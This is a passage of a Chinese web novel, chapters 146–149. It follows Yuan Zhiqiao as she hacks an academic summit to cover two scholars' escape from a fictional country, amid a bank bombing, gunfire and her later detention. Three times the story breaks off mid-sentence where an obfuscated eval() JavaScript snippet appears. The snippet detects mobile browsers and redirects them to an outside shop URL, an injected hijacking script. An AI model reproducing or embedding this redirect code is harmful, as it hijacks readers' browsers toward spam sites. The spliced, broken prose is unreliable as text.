管家回来禀报:“先生,莉莉丝小姐已经坐车离开了。” 钟以墨又坐回了鱼缸前,他点了点头,示意自己知道了。 莉莉那个大嘴巴,回去后肯定会向周围人诉说刚才发生的事,等大家都知道了,他就有理由护送之荞去丑国了,也能在那里暗中助她离开。 玩笑总是半真半假,真心总是借上理由才敢诉明。 钟以墨看着海葵鱼在珊瑚丛的海葵间试探游走,忽然想起了莉莉离开时对自己的嘲讽。 鱼缸玻璃反射着他寂寥模糊的影子,钟以墨长长的羽睫下垂,遮住了眸底那一丝苦涩。 是啊,他就和这条海葵鱼一样。 努力也好、坦诚也罢,他与它一样,不过是从小袋子换到了大鱼缸,虽然能看见外面,虽然拥有的东西看似更多,但他知道,周围始终有一层看不见的玻璃禁锢着他。 他与它一样,永远也无法出去。 146. 第 146 章 “钟以墨,”元之荞在诺兰实验室结束了最后一次的程序测算,她转过椅子,看向身边的男人,“明天要去丑国,等到了之后,无论我做什么,无论我发生了什么,你都不要插手。” 钟以墨沉默地看着元之荞,好一会,他才点了点头。 元之荞转回椅子,开始收拾东西。 “你……”钟以墨指尖动了动,终是忍不住问出了口,“会有危险吗?” 元之荞思索一瞬,如实回答道:“看起来会致命,但实际不会。” 这话在钟以墨看来已经是非常危险,他想说什么,却又才答应了她,且承诺过给元之荞的资源自己绝不会干涉,所以现在不能出尔反尔。钟以墨咽下心中苦闷,只能争取另一种方法:“如果你有需要,请一定要联系我,无论是什么情况,但凡是你的要求,我一定会想办法做到。” 元之荞目光一滞,轻轻地嗯了一声,她手中动作未停:“如果我有需要,我会提前告诉你,但如果我没有提,”元之荞扭过脸来,面上是少见的严肃,她再次强调了一遍,“你一定不能出手。” “好。”钟以墨也郑重承诺,心里的不安稍微减轻了一点。 元之荞和钟以墨他们正式坐上了前往丑国的飞机,而之前要运回国的电脑,也被元之荞秘密带到了丑国,因为这次的计划,她需要一台个人电脑来远程操控。 到达丑国后,元之荞一改在英国的作风,变得十分高调,不仅与丑国科研学者交流时,毫不掩饰自身的才华,还有意无意地表现自己出对丑国的好感。 当然,元之荞隐藏了自己对电信号方面的才能,只展示自己在无线电电磁波,以及声信号方面的能力,另外还表现出对电脑好奇,却不是很了解的样子。 元之荞如此行为,自然引起了英方安全局和科学局的紧张,他们加派更多人手,防止元之荞逃离英方,隐匿进丑方。 而元之荞的表现以及英方人的重视,自然也让丑国猜到了元之荞就是乌麦,他们眼馋元之荞这样的技术人才,甚至动了与英方一样的念头。如果不能让元之荞归顺他们,那元之荞绝对不能活着离开丑国地界。 丑方与英方因元之荞的态度暗自较劲,除此之外,英方还隐晦警告了元之荞,但元之荞对此回答含糊,只说丑国拥有很多英国没有的东西,让她倍感兴趣。 这是元之荞的计划之一,只有她吸引了绝大部分目光,邹士美和胡守勤才能安全离开。 丑国对元之荞甚是热络,主动带元之荞参观最尖端的电子计算机,也回答了元之荞关于学术峰会安排的问题。一切比元之荞想象得更加顺利,接下来,就是尽快联系邹士美和胡守勤。 另一边,钟以墨到达丑国后就去联系了克伦威尔外祖父,虽然答应了元之荞,但他还是暗自做了一些准备,要是元之荞在丑国出现什么意外,他需要家族的资源支持。 而元之荞一反常态的举动,当然让钟以墨隐隐察觉到了不妙,虽然不知道元之荞本来的计划是什么,但钟以墨知道,最稳妥的离开方法就是低调行事。钟以墨不会干涉元之荞,但以防万一,他还是开始准备武器、现金、食物以及车辆。 若真到了没法离开的时刻,他会想办法抢人,然后再想办法带元之荞离开丑国。 这些元之荞毫不知情,因为她早就与和萤光商量好了,钟以墨给她的武器、人员以及其他资源,将全数用来掩护两位专家离开,而她自己会走“必死”剧本。 因为从计划的第一步,她就逃不开“死亡”的结局。 现在的她吸引了太多目光,无论是之后在峰会上闹出的动静,还是最后离开丑国时英方、丑方的戒备,大概率迎接她的不是监禁就是枪毙,可有萤光这个金手指后,她就可以完美做到假死脱身。 只要在计划前几小时通知钟以墨,等那些确定她“死亡”的人离开,她就能让钟以墨来“领尸”,然后悄悄复活,跟着钟以墨离开丑国。 可死而复生这事太过离奇,且钟以墨还是一位医生,元之荞不想暴露自己,所以她不会将计划告诉钟以墨,只会在事后含糊说明。 学术峰会的前一天,元之荞以同胞交流为由,见了留在丑国的几位学术专家,而坚持要走的,依旧只有邹士美与胡守勤。 两位学者不会演戏,还是元之荞表现出对化学和物理方面的见识,然后邀请两位去咖啡馆继续聊。 元之荞选了学术峰会举办地对面的一家餐厅,三人坐在咖啡馆的外摆,他们右边是“保护”专家的丑方探员,后面则是监视元之荞的英方安全局,三人的谈话内容不会被丑方和英方听到多少,但行动却会被他们看得一清二楚。 邹士美坐下后没多久,便压低了声音,用国语问道:“小元教授,家里怎么样了?” 元之荞点完餐,将菜单放下,笑着看向邹士美:“这个问题,还是您亲自回去找答案吧。” 胡守勤年纪比邹士美大,为人也比邹士美保守,听到元之荞这样说,眼中仍是一片担忧:“小元,我们真能离开吗?” “能,”元之荞借着菜单的遮挡,用手指快速沾了一下水杯中的水,然后在桌面上画下一个图案,“明天展示用的幻灯片会出现意外,等第一份电子计算机资料展示完毕,场所就会停电,并触发火警警报。那个时候,四周安保用的电子门就会强制关闭,你们立刻从后面的急救消防通道离开。” “找不到通道也没关系,衣服上标有这个图案的人会接应你们离开。到达一楼街道后,坐上同样这个图案的车,你们会前往机场,然后坐小型飞机驶离丑国。” 邹士美听着有些激动,他握紧了拳头,尽量不让自己表现出兴奋,掩唇咳嗽了一声:“我们会直接回国吗?” 元之荞小幅度地摇了摇头:“不会,你们会先飞去苏国,然后由那边的新军接应回国,”她快速瞄了一眼周围,发现丑国探员和英国安全局的人均把视线投了过来,似乎想听她在说什么,于是元之荞言简意赅,“我已经通知过新军的白鸽了,车上也会给你们信物,带它接头就好,放心。” 邹士美注意到了元之荞警戒的目光,于是只用眼神表示知道。 胡守勤听完却皱起了眉,似乎是常常皱眉,所以他无甚表情时,额心也有一道浅浅的竖印。他见过太多次希望被毁,经历过太多次离开失败,所以现在不敢轻易表露笑容,就怕又是竹篮打水一场空。 “小元,那你呢?”胡守勤注意到元之荞的计划中只提了他们,却一字未提自己,胡守勤有些担心,隐晦地问了一句。 元之荞并未回答,而是笑着拂去了桌上的画。 元之荞的淡然笃定,无形给胡守勤增加了一点信心,他慢慢地拿起杯子,喝了一口带冰块的水,喃喃道:“真想回去啊,”虽然不敢想,虽然害怕希冀又终成失望,但他却忍不住一次又一次地升起奢望,“我老娘泡的茶总是热腾腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508489|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,不知道回去以后,还能不能喝到……” 这句略带伤感的话也勾起了邹士美的乡愁,他热切的双眼一下凉了下来,沉默地拿起水杯,也喝了一口水。 此刻的元之荞却在观察着四周,他们对面是丑国著名的金色大厦,一楼是这个城市最大的银行。因为有银行的安保,所以大厦的电子安全设施是整座城市最严密的,这也是学术交流峰会选择在这举办的重要原因。 不过在元之荞这,所谓防火墙只能算作薄墙纸,丑国代表带她参观的第一天,她就在会场的计算机里植入了后门,并在当晚就破解了峰会上用于展示的电子系统,而且因为大厦统一接网,所以元之荞也顺便劫持了银行的计算机。 她发现这个银行不仅能存钱,还能存信息,其中就有苏国的一些资料和丑国政客的肮脏手段,都是对家之间留存的证据。这些信息,恰好可以让元之荞制造交流会上的混乱,为邹士美和胡守勤创造离开机会。 “塞西莉亚小姐看什么呢?”探员替服务员把咖啡和面包片端了上来,而邹士美和胡守勤一见探员靠近,立刻就不说话了,抗拒的情态相当明显。 元之荞倒是神色自若,她接过自己那份咖啡,道了一声谢,这才说道:“看你们这里祥和。”探员跟随着元之荞的视线,一起望向对面的银行。银行门口正有一个年轻人反反复复地路过,而此刻,他又站到了银行旁边的路灯开始抽烟,那双镶嵌在脸上的眼珠,片刻不离银行内部。 “你们这里没有战争,街道上能看见的矛盾,不过是流浪汉醉酒打人、扒手撞向路人,以及劫匪盯上银行。” 探员听到元之荞这样说,笑容不自觉露了出来:“您说的不错,我们丑坚帝国是全世界最祥和繁荣的地方,”探员故意看了一眼英国安全局的人,“英国那边还在打仗吧?听说时不时还有工人罢工游行,啧,塞西莉亚小姐哪能像现在这样悠闲地喝咖啡聊天?我们拥有全世界最先进的仪器和设备,我相信塞西莉亚小姐在我们丑国,才能大展学术手脚。” “这位先生,您什么意思?”安全局的人听见这话,倏地一下站起了身。 元之荞没管两方人的言语争端,继续看向银行附近的街道。自她被带去英国后,的确时常对比不同的地方。 她的国家饱受战争的困苦,每一寸土地都写满了抗争。英国则是被划分了不同的区域,区域之外,截然不同。她被管控在富人区,那里总是一片祥和,似乎外界的苦难与贵族们毫无瓜葛,当然,他们也想象不到士兵之外的街道是何等的肮脏腥臭。 而丑国,海国对其的战场并非州土,而是在环海的岛屿,所以这里显得比英国的富人区更加“安宁”。 元之荞看到一位深肤色的仆从扛着比他本人还要笨重的东西,步履艰难地跟在主人身后,元之荞稍稍敛下眉宇,看向手边的咖啡。 或许这里不是没有战争,而是隐进了日常。 “塞西莉亚小姐?”安全局的人打断了元之荞的思绪,“明天就是峰会了,您也该回去准备了,等峰会结束,我们将安全送您回英国。” 元之荞抿了一口咖啡:“我要的衣服准备好了吗?” “自然准备好了。”对方微微一笑。 元之荞点了点头,一切太过顺利,她心里反而有些不安起来。 元之荞起身,对邹士美和胡守勤告别:“两位教授,我便先走了,希望明天的峰会一切顺利。” 147. 第 147 章 学术交流峰会当天,元之荞在诺兰实验室以及安全局的陪同下,按时进入了会场。 与此同时,一伙蒙面男人正开车悄悄接近金色大厦一楼银行。 参加这次学术研讨会的,除了英国,还有其他国家的专家学者,这些学者身边多少也带了保镖,而元之荞按照位置分配坐在后排,粗略一看,身边都是熟人。 借着观察四周的时候,元之荞确定了邹士美与胡守勤的位置,并看到了埋伏在他们身边的雇佣保镖。 开场是举办方的简单致辞,之后便是科研成果的展示环节,当然,主要还是丑方展示。 元之荞兴趣寥寥地鼓着掌,后面内容她在骇进后台时便看完了,实在是没有什么新意。元之荞看了看手表,上午10:21,还有九分钟,就到她程序设定的运行时刻了。 “大哥?真要炸?” “废话,”蒙面男人往车窗外看了一眼,此刻行人不算多,他粗声粗气地催促,“昨天你进银行看了,那里面全是带监控的电子门,不炸你有钥匙开金库?快点!” “可是老大,炸哪啊?” 蒙面男人把头套和面具发了下去,语气不耐:“你管炸哪?一半炸门,剩一半让银行停电瘫痪。” 10:30. 台下掌声雷动,台上专家正解说着最新的计算机处理器以及最新的个人操作系统,说到激动之处,用于展示的幻灯片却突然一黑,转变为了一片蓝色。 “怎么回事?” “显示屏幕怎么了?” “快看,那是什么!” 只见屏幕出现了一个像素方块,方块倏然放大,像是被撑破的气球迅速炸开,爆出了许多像zero一样的字母。 元之荞坐直了身子,假装与其他人一样全神贯注地观察着屏幕,实际却往埋伏的保镖那瞄了一眼,示意他们五分钟后行动。 “什么东西?难道是骇客入侵!”计算机领域的专家噌地站了起来,他一边呼喊,一边往过道那边挤去,“抱歉抱歉,请让一下。”可专家还没真正挤上过道,屏幕的过场动画就结束了,接着放起了另一组幻灯片。 幻灯片的内容,正是元之荞准备的“泄密资料”,而看到幻灯片的丑方人员大惊,尤其是知道一些内幕的,他们在下面吵嚷,让主持人赶紧把屏幕关了。 “我的上帝,那是丑国搜集的苏国资料吗?是真实的还是杜撰抹黑的?他们竟然锁定了武器投向苏国,这能做到?” “Holyshit!现任丑国市长竟然……” “关掉蠢货,我叫你关掉!”主办方看到主持人在上面忙活一通,幻灯片仍依旧在播放展示,甚至还展示了本州州长以及市长的政治手段,登时气得眼睛都要瞪出来了,立马拽住管控后台的技术人员,让他过去把东西全关了。 技术人员急得满头大汗,但无论是拔网线还是拔插头,即使台上计算机都关机了,展示用的显示屏幕却仍然在正常播放。 来参加的峰会的人并非全是学术痴,有的随行人员拥有极强的政治嗅觉,例如英方安全局,他们一看幻灯片就立刻记下,准备离开会场后马上联系自己的国家。 台上手忙脚乱,台下也沸腾一片,而元之荞嘴角一勾,她早就预料到了,所以提前连接了大厦的备用电源,除非整栋大厦的线路被毁,或者破坏会场的电线,否则,这份资料将一直循环播放,直至设定的程序结束。 元之荞粗略扫了一眼周围,场上人纷纷开始躁动,手表显示10点33分,元之荞靠回椅背,再过两分钟火警便会鸣响,那时灯光也会随之熄灭,混乱会给雇佣保镖制造机会,让他们暗中带邹士美和胡守勤离开。 主办方见幻灯片的内容越来越刺激隐秘,面色愈发惨白。他知道自己即将摊上大事,很快,丑方的中央情报局就会找上门来……他用手帕粗略擦掉额上细密的汗珠,做了一个大胆的决定,就算砸毁这些价值十几万的尖端设备,他也绝不能让它再继续放下去了。谁知道后面还有什么东西,再播放下去,他就要从原本面临的几项指控,径直升级为十几项指控了。 刚上过道的专家,一见主办方拿起椅子爬上讲台,像是要毁灭一切的架势,心中顿时不好,他奋不顾身地跑上前去,想要阻止主办方:“不行啊——不可以!” 就在这时,不知哪来一声巨响,连脚下的地板也带着震了震。 台下的专家大力拉扯刚上台的主办方裤脚,主办方和他都因震动站立不稳,很快,整个会场就陷入了一片黑暗。人群躁动起来,不安地望向四周:“怎么回事?” “这是怎么了?” “我的上帝,这是地震了吗?” 而邹士美和胡守勤在暗中对视一眼,也不知道现在是什么情况。 邹士美:“不是说第一份资料放完,然后火警响起时离开?现在也没火警啊……怎么办?” 胡守勤快速瞟了一眼周围,发现自己身边有两个保镖,而这两个保镖穿的衣服上隐有反光,反光图案恰好就是元之荞昨天所绘图案,胡守勤当机立断,抓起邹士美的胳膊:“走。” 突发的意外也让元之荞觉得奇怪,她看了一眼台上,屏幕已经黑了,但电子门上的绿光却还亮着,应是会场的线路出了问题,整栋大楼的安保系统还是完好的。 元之荞尚未厘清当下是什么情况,脚下又是一阵巨响,并且这次比刚才还要剧烈。 火警的鸣笛响彻整个大厦,不仅是会场上的人,就连整座大厦的人也开始往外跑,想要逃离这里。 雇佣保镖:“时机虽然不对,但火警响了,行动。” 两个保镖一人负责一位专家,拖拉着人就往消防通道走去,最后垫底的保镖还在元之荞的嘱咐下快速关上了通道的门。 “是炸弹,有人在炸大厦,快跑啊!” “什么?又是炸弹客?” 学者们有一个算一个,瞬间屁股离席,摸黑着想要往门口跑去,而最先到达电子门或消防门的人都大声呼喊:“会场门被锁住了,管理员,快开门啊!” “消防门也被关上了!钥匙,谁有开门钥匙?” 元之荞听到喊声,也从椅子上站了起来,她快速扫视一圈,并未看见荧光图标,确定雇佣保镖带着两位专家离开了。 “塞西莉亚小姐,紧跟我,”元之荞的手腕被安全局的人攒住,她听到子弹推膛的咔哒声,然后是安全局的人低声提醒,“不要乱跑,外面有枪声。” 但元之荞现在没时间与安全局的人周旋,毕竟真有劫匪或者炸弹客想毁掉这座大厦,那她先前设置的锁门程序,就会害死整个会场的人。 她必须去机房解除程序。 看身边人都在警戒,元之荞立刻甩开了对方的手,单手撑过椅背,飞速往后面的控制室跑去。 “塞西莉亚小姐!”安全局的人发现元之荞不见了,立刻呼叫同伴,“目标消失,谨防丑国出手。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533484|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而另一边的丑国探员听到英方人的话,也立刻呼叫同伴:“目标意外脱离,尽快找到她。” 就在元之荞前往控制室的时候,还有另一伙人也与元之荞想法相同,正是丑方技术部的人员,他们以为电子门因停电而自动锁定,所以也想尽快赶去控制室,好解除自动锁定。 可现场一片混乱,爆炸声不断,枪声也在逐步靠近,焦灼显现在每一个人脸上,所有人都想争抢着离开,所以技术部的人被拦到了半路,一时半会没法抵达控制室。 元之荞先一步赶到,趁着没人,她火速插上移动闪存盘,开始重新操作。 很快,一行进度条弹了出来,七八分钟后,会场的电子门将全部打开。搞定第一步,元之荞迅疾切进后台,开始清除刚才的操作痕迹。 就在这时,门外响起了脚步声。 元之荞匆匆看一眼,开门进度50%,而清除进度刚刚开始,要是这个时候离开,等于前面的工作都将白费力气。她身上有免死金手指,被发现的最糟情况莫过于“死亡”,但如果提前“死亡”,之后的计划也只有通知钟以墨这一部分会变得麻烦而已。 元之荞咬了咬牙,决定拼一把。 “女士?你是谁?在这里干什么?” 元之荞听到了问话,但她仍专注地看着显示屏,十指翻飞。 “我在问你话女士,请立刻举手,转过身来!”技术部的人不知道元之荞在干什么,但看着那飞速飘动的代码,他们直觉元之荞是个危险的人,或许还与峰会的骇客入侵有关,于是当即举起枪,对着元之荞的后心就要射出子弹。 元之荞听到了枪支卸除保险栓的声音,她调出进度显示,开门87%,删除43%。 枪声响起,元之荞脊背绷直,她没有感觉到自己中弹,这才发现声音不是来自身后,而是来自后方左侧。 后面有人逼近,但元之荞手指不停,仍在敲下最后几行代码。 枪声接连不断,身后那人给元之荞投下一片防护的阴影。来人是友,元之荞本该安心,可她的心绪却逐渐烦乱起来。 在这异国他乡,在这特殊的会场,能够如此帮她的,只有钟以墨。 可他肉体凡胎,又怎能做自己的护盾? 元之荞敲下回车,果断回头。 钟以墨站在她一步之处,用身形完全遮盖了她。元之荞又看了一眼屏幕,清除进度100%,电子门进度99%,她立刻拉上钟以墨的手,“快。” 钟以墨解决掉最后一个制室里的人,回握元之荞的手,牵着她大步往外走去。 “我不是说没安排你不要插手吗?”元之荞语带愠怒,若是刚才面对的不是技术员,而是一群经受训练的士兵或保镖,他现在一定没命了。 “抱歉,”虽然说着对不起,但钟以墨语气里却没有多少愧疚,“可是我不来,我就再也见不到你了。” 元之荞唇畔微启,想说些什么,但因无法解释,最终什么也没有说,只握紧了钟以墨的手:“门要开了,往那边。” 钟以墨轻嗯一声,但音未落,他就一把拉过元之荞,抱住了她的脑袋。 元之荞感到自己撞进了一个略带硬朗的怀抱,脑袋却被一双轻柔的手护住了,随即一声枪响,她感到钟以墨的胸膛不受控制地抽搐。 元之荞心头刹时一惊,刚要伸手去摸钟以墨的后背,却被钟以墨一下压弯了腰,被带着快速移到一旁,蹲进了后排的椅子下。 148. 第 148 章 元之荞扶住钟以墨,她指尖碰到了一点濡湿,温热的、湿滑的,虽然没有闻到血液的腥气,但她知道,这就是鲜血。 自那一声枪响过后,周围人声达至沸腾,人群也变得更加慌乱。尖叫、呼喊、斥骂,通通混在一起,而持枪人像是一下失去了目标,停止了动作。 元之荞仍在钟以墨怀里,很奇怪,她知道现自己现在应去确定钟以墨受伤的位置,然后想办法处理伤口,但事实却是,她不敢动,不敢问。 每一个呼吸的瞬间,时间仿佛都被放大了数倍。她听不见座椅外的嘈杂,听不见自己的心跳,好像在这陷入黑暗的世界里,只剩下了眼前这人。 她感受到他脑袋靠在自己耳边,似乎这样做他能好受一些。 她感受到他喘息沉重,急促的、颤抖的,似乎是在忍受痛苦。 她感受到他的血液流过自己指尖,滴滴答答,带着鼓声般的震响。 想象就像是瓦罐里的蛇,即使盖上盖子,蛇头也总会想办法冒出来。 元之荞努力克制着自己,不去设想最坏的情况,然而心底的慌张与悲伤,总是抑制不住地翻涌起来。 钟以墨没让元之荞紧张多久,他缓过劲,就把护住元之荞脑袋的左手放了下来,强撑着动了动,把枪换到元之荞肘边,声音微弱:“拿着。” “伤哪了?”元之荞急切地退出钟以墨的怀抱,一手接枪,一手握住钟以墨的手腕。 钟以墨很低地笑了一声:“没事。” “伤哪了?”元之荞态度坚决。 钟以墨换下一口气,让自己的呼吸尽量显得平稳:“手臂。” 元之荞一愣,立刻想到了《绯恋》原剧情。书中胜利后第三年,钟墨伤到了手臂神经,从此再也不能手术,不得已退居二线。 职业生涯的滑铁卢,让钟墨失去了与张修正竞争的能力,而事业与爱情的双失败,又渐强式地打击钟墨,为他之后的死亡做足了铺垫。 元之荞有些紧张:“是不是右手手臂?” “是,”钟以墨回答后,元之荞短暂地沉默了,钟以墨澄澈的眸子看向她,眼底关切,“怎么了?”他靠近她,“是不是哪里不舒服?” “疼吗?”她突然抬眸,问向他。 “不疼。”他嘴角带笑,回答她。 骗人,怎么可能不疼。 她稍稍收紧手指,凝望着他的双目。他的眼睛一向漂亮,认真看人时,总让人觉得心软,而现在,她就觉得自己的心变得很软。 就在这时,有人蓦地惊呼:“门开了!快走啊!“伴随着开门的声响,光从外部强势闯入,带着不容置喙的冲击刺破黑暗,但下一秒,光又被接连不断的人影撞碎,逸散缤纷,影影绰绰罩到他们身上。 借着光影,她看到了他臂上鲜红的血迹,看到他深色的衬衫被染得红褐,也看到血液正顺着他手背上暴起的青筋,蜿蜒地流入指缝。 借着光影,他看到了她脸上的担忧,看到她鬓边的细汗,也看到了她向来幽静沉稳的瞳孔中,如今正装着动摇,而那份动摇,映着他的身影。 他有些高兴,因为她在担心自己。 他有些难过,因为她在担心。 “我没事,”钟以墨扯出一个笑容,想要牵住她的手,却在刚抬起手时又默然放下,毫不自然地转去按住伤口,“没有伤到动脉,待会取子弹,再包扎一下就好。” 若不是面色发白,她想他的演技或许可以更好一些。 元之荞拿上枪,从椅背往外看了一眼,没发现瞄准他们的可疑人员,她快速定下神道:“跟我走。” 元之荞刚站起半个身子,就见左边银光一闪,心中霎时警铃大作,她反手一抓钟以墨,按着他疾速蹲下。 枪声速即响起,子弹斜飞,插入身侧一处座椅,迅速溅射起几缕棉屑。视野已然暴露,他们出不去了,元之荞握紧枪把,现在只能拼运气了。 元之荞:“艾玛、雷欧!” 元之荞喊的是安全局的人,而听到元之荞声音的几人立刻回头,只见一个枪手对着后排一顿开枪,而安全局的人见状,立刻攻击枪手,并试图靠近后排座位以保护元之荞,而另一边的丑国探员见了,也立刻下了新命令:“三号继续清除目标,其余人待命。” 元之荞和钟以墨窝在椅背后,只听外面枪声激烈,而众人尖叫着快速逃离了会场,门外照进的光愈发明亮,不消一会,元之荞就听见了安全局的人呼叫自己:“隐患消除,塞西莉亚小姐?” 元之荞望了望身后,与钟以墨对过眼神,双双站了起来。 安全局的人看到元之荞,马上往她的方位走去,而钟以墨扫了一眼周围:“你们怎么回事?”他露出血淋淋的胳膊,开始诉状,“急救箱在哪?要么就给我找医生。” “抱歉,克伦威尔先生,”安全局的人看到伤口,登时有些着急,“我们马上给您安排医院,”他回过头,吩咐完同伴去叫急救人员,然后看向地上的尸体,“丑方负责人呢?他们……” 安全局的人话还未说完,丑方探员就从门边走了过来,他身后还跟着几个穿制服的男人:“先生、女士,麻烦你们配合一下调查。” 钟以墨皱起了眉:“怎么回事?” 丑方探员让出位置,让身后的人站上前来,领头的男人从怀中拿出证件,示意给众人:“我们是丑国中央情报局的负责人,我们怀疑本次的袭击或与诸位有关,现已申请调令,等我们调查清楚,诸位才能离开本市地界。” 英方安全局自然不会听对方摆布,领头的雷欧也拿出证件:“我们是英国安全局的人,我们怀疑这次袭击是冲着我方克伦威尔子爵来的,并且由于你们安保疏忽,克伦威尔子爵受到了严重身体损伤。为护我方人员,我们有权尽快离开这里。” 丑方探员:“先生,不仅你们需要接受我们的调查,在场的所有学者、专家以及警卫,都要接受我们的调查,没有例外。” 英方安全局:“先生,你要是不想此事升级为国与国之间的纠纷,我劝你还是立刻放行,否则,就等你拿到更高级的执法权和申请调令,再和我说刚才那些。” 两方相互争执,拒不相让,都要求对方让话事人出来,钟以墨见状,知道他与元之荞一时半会没法离开丑国了。 这些都在元之荞的预料之中,所以她的焦虑仅是医护人员迟迟不来,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13548022|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟以墨却会错了意,他简单地给自己包扎,看向元之荞:“别怕,我小叔克伦威尔·麦德是英国著名的律师,我会马上找他帮忙,如果真有什么,你一定会没事。” 钟以墨知道会场上的骇客是元之荞,毕竟过场动画的方块署名zero,而乌麦的“乌”音同“无”,自然也可译为数字0。 元之荞猜到了钟以墨心中所想,她叹了口气,嘱咐道:“不管情况糟糕到是我被羁押,还是我出现了什么意外,你都不要出手,等有消息通知你来接我,你只要来就好,别的什么也不要做。” 钟以墨眉头紧锁,他不知道元之荞有什么打算,但他却下定了决心。他不会让元之荞说的假设成真,他会想尽一切办法带走她。 元之荞见钟以墨沉默不语,于是柔声又重复了一遍:“答应我,好吗?” 就在钟以墨犹豫不决时,医护人员终于赶到,而他俩的话题也被打断,再没了下文。 事情发展得很快,丑方马上安排大量的技术人员检查了计算机等电子设备,但仔细忙活一通,技术人员都没有发现骇客的踪迹,更别说是挖出zero的信息了。 不仅zero没有头绪,就连峰会现场的监控视频也被人删除,仅有的目击证人也死在控制室里。 关键性证据找不到一个,但间接性证据情报局却挖掘了不少。 例如离奇消失的邹士美与胡守勤,而近期与邹士美、胡守勤接触过的人中,最可疑的便是元之荞;例如击毙技术人员的子弹是英国产的,元之荞就刚好是英方的保护人员;例如停电后,也有在场人员说元之荞曾经离开过座位一段时间。 当然,除了元之荞,情报局也排查出了几个可疑的专家,但这些个专家都缺乏充足的作案动机,嫌疑最大的依旧只有元之荞,而且元之荞还是乌麦,怎么看怎么有可能。 钟以墨自然知道这事的严重后果,他委托了律师负责,全身心地准备劫人逃离计划,而克伦威尔家族暗中帮忙,也让情报局也没法短时间内从钟以墨身上查到什么。 事情发展的第二天,情报局的人变得焦头烂额。他们不仅要对峰会上情报泄密一事负责,还要去查重要人才的叛逃一事,可如今他们连最简单的抢劫银行、毁坏变压器的劫匪都没找到线索,更别说几件事都堆压在一起了。 事情虽然紧急复杂,但他们却知道一件事,元之荞身上有疑点,假设她真是zero,那她绝不能离开丑国。 而另一边的安全局也在怀疑元之荞,他们觉得zero要真是元之荞,元之荞就绝对不能留在丑国,就算她回到英国,她也要终身受到英方监禁。 英方与丑方为争取元之荞人身看护再度较劲,就在这时,下属急忙来报:“boss,塞西莉亚小姐的监禁时间到了,克伦威尔先生要求把人接走。” 探员放下手中资料,用力搓了搓额头:“现有证据能不能延长她的临时羁押时间?” “是能的,但是……”下属面上为难,“但是克伦威尔先生带了三个律师,还是本市最难搞的三个律师。” “Fuck!”探员烦躁地在工位上起身,拿起了桌上的资料,“他在哪里,带我去见他。” 149. 第 149 章 “克伦威尔先生,我们可以释放塞西莉亚女士,”探员的话虽然对向钟以墨,但一双眼睛却看着元之荞,“但是你们不能离开本市地界,一旦离开,我们有权立刻逮捕塞西莉亚女士,并且对她再次进行48小时羁押,您清楚了吗?” 钟以墨没有说话,而是身边的律师代为回答,这时,第三位律师走来,把刚处理好的文件交给探员:“先生,所有的手续都在这了,放人吧。” 探员咬紧了牙关,看向身后的属下:“放人。” …… “克伦威尔先生,事情已经办妥,我们就先走了,如果您还有什么问题,请随时联系我们律师事务所。”三位律师依次告别,元之荞站在钟以墨身边,看到了他眼下的乌黑,猜到这两天他应该没怎么休息。 “之荞,跟我来,”律师刚走,钟以墨立刻看向四周,然后换回了国语,“情报局的人不会轻易就放你离开,一定会暗中派人待在你身边,现在你跟我回住所,然后我掩护你离开……” 元之荞抓住钟以墨完好的左手,直白打断了他的话:“我不是让你什么都不要做?” 元之荞语气平淡,但钟以墨却听出了她语调中隐含的不悦,他停下脚步,回身看她:“对不起,”他脑袋微微下低,神色认真,许久,才语气艰涩道,“因为我没办法什么也不做。” 他的眼里有克制,有自苦,元之荞像被他的目光烫了一下,手指不自觉地一松,却又在意识到了什么后,再次握紧。 这次,她抓住了他的左手手腕。 她感受到他藏在长袖里手腕上,的确戴着东西,那天在黑暗的会场里,她没有眼花。 元之荞低头,指腹擦过他腕绳上的凸起,一颗、两颗……四颗,应是四颗小金花生,她眼里不自觉露出一丝笑意,抬头,迎上了他的视线:“那你呢?”她的目光同样炙热,同样真诚,“现在整个情报局都看到了你带我走,要是我离开了,你会怎么样?” 钟以墨眸中触动,他想回握她的手,可还是忍了下来,他假意轻松地笑了笑:“我没事,你忘了吗?我母姓克伦威尔,外祖父他们也搬到了丑国,碍于这个姓氏,他们不敢随便对我做什么。” “那刚才保释,为什么你雇佣了丑国律师事务所的人,而不请求著名律师克伦威尔·麦德叔叔?”元之荞的反问相当冷静,仿佛早就看穿了他的借口。 钟以墨眼神回避一瞬,解释道:“因为小叔他工作忙,所以给我推荐了这家律所,你看,他们三个业务能力不也错……” “你说无论什么时候,我都能相信你说的话,”元之荞再次打断了钟以墨,她松开手,看向他略带憔悴的脸,“所以你告诉我,你刚才说的每一个字,是不是都是真的?” 